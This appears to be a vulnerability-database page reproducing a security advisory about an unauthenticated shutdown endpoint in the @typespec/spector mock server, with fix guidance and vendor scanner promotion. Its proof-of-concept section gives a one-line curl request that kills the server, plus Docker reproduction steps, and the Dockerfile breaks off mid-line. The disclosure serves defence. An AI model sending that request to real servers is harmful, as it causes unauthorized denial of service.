high · 7.5 Patched

TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop

GHSA-7q9c-hpx7-9cwm · published 4 Sept 2026

How serious is it

  • Severity: high, CVSS score 7.5 out of 10.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by GHSA-7q9c-hpx7-9cwm?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • @typespec/spector (npm) <= 0.1.0-alpha.26

How to check

  1. Run npm ls @typespec/spector in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
  3. Or run npx shippable-dev scan localhost:3000 in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. Upgrade @typespec/spector to 0.1.0-alpha.27 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

### Summary `@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.0` by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is **High (CVSS 7.5)**. ### Details The vulnerability originates in `packages/spector/src/routes/admin.ts` at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever: ```ts // packages/spector/src/routes/admin.ts:7-12 router.post(AdminUrls.stop, (_req, res) => { logger.info("Received signal to stop server. Exiting..."); res.status(202).end(); setTimeout(() => { process.exit(0); }); }); ``` The constant `AdminUrls.stop` resolves to `/.admin/stop` (`packages/spector/src/constants.ts:1-3`). The complete attack-reachable call chain is: 1. **`packages/spector/src/cli/cli.ts:139-166`** — `tsp-spector serve <scenariosPaths..>` starts the server on default port `3000`. No `host` option is offered, so binding address is determined by the Express/Node.js default. 2. **`packages/spector/src/actions/serve.ts:28-33`** — constructs `MockApiApp` and calls `start()` without supplying a host argument. 3. **`packages/spector/src/app/app.ts:39-40`** — registers `internalRouter` at `/`, which includes the admin routes. 4. **`packages/spector/src/routes/index.ts:4-5`** — mounts `adminRoutes` under `/`. 5. **`packages/spector/src/routes/admin.ts:7-12`** — the `POST /.admin/stop` handler (the sink) is reached with zero authentication. 6. **`packages/spector/src/server/server.ts:88`** — `this.app.listen(this.config.port)` is called without a host argument, causing Node.js/Express to bind on `0.0.0.0` (all network interfaces). There is no authentication middleware, API token validation, `Authorization` header check, `Origin` header restriction, or IP allowlist anywhere between the inbound HTTP request and the `process.exit(0)` call. The admin route is mounted before scenario routes so it cannot be shadowed. ### PoC **Prerequisites:** ``` git clone https://github.com/microsoft/typespec cd typespec # Checkout commit d88ddc16 (affected version 0.1.0-alpha.26) pnpm install pnpm build ``` **Step 1 — Start the mock server:** ```bash pnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000 # Server listens on 0.0.0.0:3000 by default ``` Alternatively, use the provided Docker environment: ```bash # Build context: reports/npm_web_64_microsoft__typespec/ docker build -t vuln002-spector -f vuln-002/Dockerfile . docker run -d -p 3001:3000 --name vuln002-server vuln002-spector ``` **Step 2 — Execute the exploit (single unauthenticated request):** ```bash curl -i -X POST http://<server-host>:3000/.admin/stop ``` Using the provided PoC script: ```bash python3 vuln-002/poc.py --host 127.0.0.1 --port 3001 ``` **Step 3 — Observe the result:** ``` HTTP/1.1 202 Accepted ``` The server process immediately exits. Subsequent connection attempts are refused. Docker logs show: ``` info Received signal to stop server. Exiting... ``` Docker inspect confirms `ExitCode=0, Status=exited`. No credentials, tokens, or special headers are required at any step. ### Impact This is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where `tsp-spector serve` is listening can terminate the server process with a single POST request, resulting in a complete denial of service. The primary victims are development or CI/CD pipeline operators who run `tsp-spector serve` in environments where the port is reachable from untrusted network segments—for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to `0.0.0.0` by default and the CLI offers no `--host` option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules. Although `@typespec/spector` is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop # Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec) # CWE-306: Missing Authentication for Critical Function CVSS 7.5 (High) # # Build context: reports/npm_web_64_microsoft__typespec/ # Build: docker build -t vuln002-spector -f vuln-002/Dockerfile . # Run: docker run -d -p 3000:3000 --name vuln002-server vuln002-spector FROM node:22-slim # Install tsx to run TypeScript source files directly without compilation. # This lets us use the actual repository .ts files as-is. RUN npm install -g tsx@4 WORKDIR /poc # Minimal package.json declaring ESM mode RUN echo '{"type":"module"}' > package.json # Install only the npm packages actually used by the vulnerable code path: # express — web framework (admin.ts, routes/index.ts, server.ts) # picocolors — terminal colors (logger.ts) RUN npm install express picocolors # ----------------------------------------------------------------------- # Copy the EXACT vulnerable source files from the repository. # No source file is modified — they are used verbatim. # ----------------------------------------------------------------------- # packages/spector/src/constants.ts # Defines AdminUrls.stop = "/.admin/stop" COPY re…

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from GitHub Advisory Database. Last updated 24 Oct 2026. All vulnerabilities · RSS · JSON